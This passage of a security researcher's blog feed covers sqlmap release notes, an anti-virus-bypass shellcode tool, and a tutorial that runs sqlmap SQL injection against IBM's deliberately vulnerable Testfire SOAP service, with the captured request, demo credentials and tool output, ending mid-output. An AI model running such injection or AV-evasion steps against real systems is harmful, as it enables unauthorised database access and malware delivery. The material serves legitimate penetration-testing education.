&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Meterpreter     : x86/win32&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The tool along with compilation files for POSIX and Windows systems can be found on my GitHub at &lt;a href=&quot;https://github.com/inquisb/shellcodeexec&quot;&gt;https://github.com/inquisb/shellcodeexec&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Feedback is always welcome!&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/7252173158099258526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/7252173158099258526' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/7252173158099258526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/7252173158099258526'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html' title='Execute Metasploit payloads bypassing any anti-virus'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-2628343087506170408</id><published>2011-04-13T15:10:00.002+01:00</published><updated>2011-04-13T15:18:56.523+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="database"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><title type='text'>sqlmap 0.9 released</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;  &gt;It has been a while since &lt;a href=&quot;http://sqlmap.sourceforge.net/#developers&quot;&gt;we&lt;/a&gt; released the &lt;a href=&quot;http://bernardodamele.blogspot.com/2010/03/sqlmap-08-released.html&quot;&gt;previous stable version&lt;/a&gt; of sqlmap. Now sqlmap &lt;span style=&quot;font-weight: bold; text-decoration: none; &quot;&gt;0.9 &lt;/span&gt;&lt;span style=&quot;text-decoration: none; &quot;&gt;stable is out!&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;span style=&quot;text-decoration: none; &quot;  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;span style=&quot;text-decoration: none; &quot;  &gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Some of the new features include:&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; &quot;&gt;&lt;/span&gt;&lt;ul style=&quot;padding-top: 0px; padding-right: 2.5em; padding-bottom: 0px; padding-left: 2.5em; margin-top: 0.5em; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; line-height: 1.4; list-style-type: disc; list-style-position: initial; list-style-image: initial; &quot;&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;span style=&quot;text-decoration: none; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;&lt;div&gt;&lt;ul&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Rewritten SQL injection detection engine.&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Support to directly connect to the database without passing via a SQL injection, &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;-d&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; switch.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Added full support for both time-based blind SQL injection and error-based SQL injection techniques.&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Implemented support for SQLite 2 and 3.&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Implemented support for Firebird.&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Implemented support for Microsoft Access, Sybase and SAP MaxDB.&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Added support to tamper injection data with &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;--tamper&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; switch.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack.&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Added support to fetch unicode data.&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Added support to use persistent HTTP(s) connection for speed improvement, &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;--keep-alive&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; switch.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Implemented several optimization switches to speed up the exploitation of SQL injections.&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;Support to parse and test forms on target url, &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;--forms&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; switch.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;Added switches to brute-force tables names and columns names with a dictionary attack, &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;--common-tables&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; and &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;--common-columns&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;. Useful for instance when system table &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;information_schema&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; is not available on MySQL.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: &#39;trebuchet ms&#39;; &quot;&gt;As usual, the full list of changes at &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&quot;&gt;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 14px; line-height: 19px; &quot;&gt;&lt;span style=&quot;text-decoration: none; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: rgb(68, 68, 68); &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; color: rgb(0, 0, 0); line-height: normal; font-size: medium; &quot;&gt;&lt;pre style=&quot;margin-top: 0em; margin-right: 0em; margin-bottom: 0em; margin-left: 0em; &quot;&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/2628343087506170408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/2628343087506170408' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/2628343087506170408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/2628343087506170408'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/04/sqlmap-09-released.html' title='sqlmap 0.9 released'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-5914318665043569064</id><published>2010-11-17T10:31:00.007+00:00</published><updated>2010-11-17T10:39:02.724+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="database"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><title type='text'>sqlmap state of art - 4 years later</title><content type='html'>&lt;div&gt;sqlmap is nearly 4 years and a half old.. older than my daughters ;)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In the last 12 months a lot has been going on under the hood. Miroslav and I have been working hard trying to fix as many bugs reported as possible, getting back to You as promptly as possible and scheduling the development of new shiny features, some of them proposed by You.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First and foremost, I would like to sincerely thank Miroslav for all of the amazing effort that he has put into the project as well as users&#39; support. He joined me about a year ago. Since then he has demonstrated high professionalism, brilliant design and analytical capabilities and strong development skills driven by his outstanding motivation. Thank you!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In my &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=ffa432520912150559x7da484d0q5a580512abf4592f%40mail.gmail.com&amp;amp;forum_name=sqlmap-users&quot;&gt;state of art - 3 years later&lt;/a&gt; email I highlighted the main goals achieved during 2009 and my plans for the next release. What&#39;s the state now, a year later?&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;The post-exploitation features have been stabilized, slightly improved and bug-fixed.&lt;/li&gt;&lt;li&gt;I can still confirm that we keep receiving a lot of great feedback from You, thank you! Your bug reports, feature requests and dumb questions too keep sqlmap community alive and drive our motivation even further.&lt;/li&gt;&lt;li&gt;The media attention to the tool is approximately vanished, as I have not presented at big name Conferences this year.&lt;/li&gt;&lt;li&gt;I don&#39;t think the tool is still the most downloaded tool in the category, might be, but sourceforge now allows to see only the weekly downloads of tools from the search page. However, who really cares.&lt;/li&gt;&lt;li&gt;The detection and comparison engine has been bug fixed, partially rewritten and highly improved by Miroslav - I told you, he is awesome!&lt;/li&gt;&lt;li&gt;My call for developers is still open, quality assurance and beta testers are needed too. Some native English speaking would be of help to improve the user&#39;s manual too.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;What have we achieved during 2010? The ones that regularly update from the &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap&quot;&gt;Subversion repository&lt;/a&gt;, read the &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&quot;&gt;ChangeLog&lt;/a&gt; file or asked us directly, already know about some of the new features, but we would like to take the time to better introduce, explain and demonstrate them in a series of posts to the &lt;a href=&quot;http://sqlmap.sourceforge.net/#ml&quot;&gt;mailing list&lt;/a&gt; that will follow in the upcoming weeks. We hope that this will clarify design decisions that we have made, make you smile seeing your feature requests implemented and have a strong understanding on how to use the tool efficiently.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;These will all be part of the next release: &lt;b&gt;0.9&lt;/b&gt;, scheduled for &lt;b&gt;early 2011&lt;/b&gt;. Stay tuned!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Text cross-posted on &lt;a href=&quot;http://sqlmap.sourceforge.net/#ml&quot;&gt;sqlmap-users&lt;/a&gt; &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=AANLkTin-%2BCbC%3D0L0WkP5kJT9X_kaT6-YdShT81DVf%3DYE%40mail.gmail.com&amp;amp;forum_name=sqlmap-users&quot;&gt;mailing list&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/5914318665043569064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/5914318665043569064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5914318665043569064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5914318665043569064'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/11/sqlmap-state-of-art-4-years-later.html' title='sqlmap state of art - 4 years later'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-1098312462729553548</id><published>2010-06-30T10:03:00.011+01:00</published><updated>2010-06-30T10:42:31.982+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="demo"/><category scheme="http://www.blogger.com/atom/ns#" term="soap"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><category scheme="http://www.blogger.com/atom/ns#" term="web service"/><title type='text'>sqlmap and SOAP based web services</title><content type='html'>Last week a sqlmap user, &lt;a href=&quot;http://invalid-packet.blogspot.com/&quot;&gt;Chilik Tamir&lt;/a&gt;, provided me with a &lt;a href=&quot;http://invalid-packet.blogspot.com/2010/06/sqlmap-08-and-soap-based-web-services.html&quot;&gt;patch&lt;/a&gt; to add basic support for SOAP based requests to the tool.&lt;div&gt;I tested the patch, extended its functionalities and now sqlmap can also work against web services! &lt;a href=&quot;http://sqlmap.sourceforge.net/#download&quot;&gt;Check it out&lt;/a&gt; from the Subversion repository.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Follows an example against IBM&#39;s &lt;a href=&quot;http://www.ibm.com/developerworks/downloads/r/appscan/&quot;&gt;demo web application&lt;/a&gt; &lt;a href=&quot;http://demo.testfire.net/&quot;&gt;Testfire&lt;/a&gt; which is affected, amongst other vulnerabilities, by several SOAP based SQL injections. The credentials to login are username &lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;jsmith&lt;/span&gt;, password &lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Demo1234&lt;/span&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Upon a successful login, click on &lt;a href=&quot;http://demo.testfire.net/bank/transfer.aspx&quot;&gt;Transfer Funds&lt;/a&gt; and trasfer any amount between your test bank accounts by pressing on the &lt;i&gt;Transfer Money&lt;/i&gt; button. By intercepting the HTTP request with a &lt;a href=&quot;http://portswigger.net/proxy/&quot;&gt;proxy&lt;/a&gt;, we can see that the transfer is a HTTP POST request with XML formatted data to a web service:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;POST /bank/ws.asmx HTTP/1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Host: demo.testfire.net&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Accept-Language: en-gb,en;q=0.5&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Accept-Encoding: gzip,deflate&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Keep-Alive: 115&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Proxy-Connection: keep-alive&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;SOAPAction: http://www.altoromutual.com/bank/ws/TransferBalance&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;Content-Type: text/xml; charset=UTF-8&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Referer: http://demo.testfire.net/bank/transfer.aspx&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Cookie: ASP.NET_SessionId=5zjqz1qgn4r32iytnfm2sd45; amSessionId=4183186617; amUserInfo=UserName=anNtaXRo&amp;amp;Password=RGVtbzEyMzQ=; amUserId=100116014; amCreditOffer=CardType=Gold&amp;amp;Limit=10000&amp;amp;Interest=7.9&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Pragma: no-cache&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Cache-Control: no-cache&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Content-Length: 554&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;div&gt;&lt;div&gt;&amp;lt;?xml&amp;nbsp;version=&quot;1.0&quot;&amp;nbsp;encoding=&quot;UTF-8&quot;?&amp;gt;&lt;br /&gt;&amp;lt;soap:Envelope&amp;nbsp;xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&lt;br /&gt;&amp;nbsp;xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&amp;nbsp;&lt;br /&gt;&amp;nbsp;xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;soap:Body&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;TransferBalance&amp;nbsp;xmlns=&quot;http://www.altoromutual.com/bank/ws/&quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;transDetails&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;transferDate&amp;gt;2000-01-01&amp;lt;/transferDate&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;debitAccount&amp;gt;1001160140&amp;lt;/debitAccount&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;creditAccount&amp;gt;1001160140&amp;lt;/creditAccount&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;transferAmount&amp;gt;1500&amp;lt;/transferAmount&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/transDetails&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/TransferBalance&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;/soap:Body&amp;gt;&lt;br /&gt;&amp;lt;/soap:Envelope&amp;gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;Save the whole HTTP request to a text file (&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;soap.txt&lt;/span&gt; in my following example) and pass it to sqlmap as the request file (&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;-r&lt;/span&gt; switch). To speed things up you can also provide only one XML tag (&lt;i&gt;parameter&lt;/i&gt;, &lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;-p&lt;/span&gt; switch) to test for SQL injection and exploit:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;$ python sqlmap.py -r soap.txt -p creditAccount&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;    sqlmap/0.9-dev - automatic SQL injection and database takeover tool&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;    http://sqlmap.sourceforge.net&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;    &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[*] starting at: 10:29:46&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:46] [INFO] parsing HTTP request from &#39;soap.txt&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:46] [WARNING] the testable parameter &#39;creditAccount&#39; you provided is not into the Cookie&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:46] [INFO] using &#39;/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/demo.testfire.net/session&#39; as session file&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:46] [INFO] testing connection to the target url&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:46] [INFO] testing if the url is stable, wait a few seconds&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:49] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher, if no dynamic nor injectable parameters are detected, refer to user&#39;s manual paragraph &#39;Page comparison&#39; and provide a string or regular expression to match on&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;[10:29:49] [INFO] testing if POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39; is dynamic&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:50] [INFO] confirming that POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39; is dynamic&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:51] [INFO] POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39; is dynamic&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;[10:29:51] [INFO] testing sql injection on POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39; with 0 parenthesis&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:51] [INFO] testing unescaped numeric injection on POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:53] [INFO] confirming unescaped numeric injection on POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;b&gt;[10:29:54] [INFO] POST parameter &#39;{http://www.altoromutual.com/bank/ws/}creditAccount&#39; is unescaped numeric injectable with 0 parenthesis&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:54] [INFO] testing for parenthesis on injectable parameter&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:57] [INFO] the injectable parameter requires 0 parenthesis&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:57] [INFO] testing MySQL&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;[10:29:58] [WARNING] the back-end DMBS is not MySQL&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier 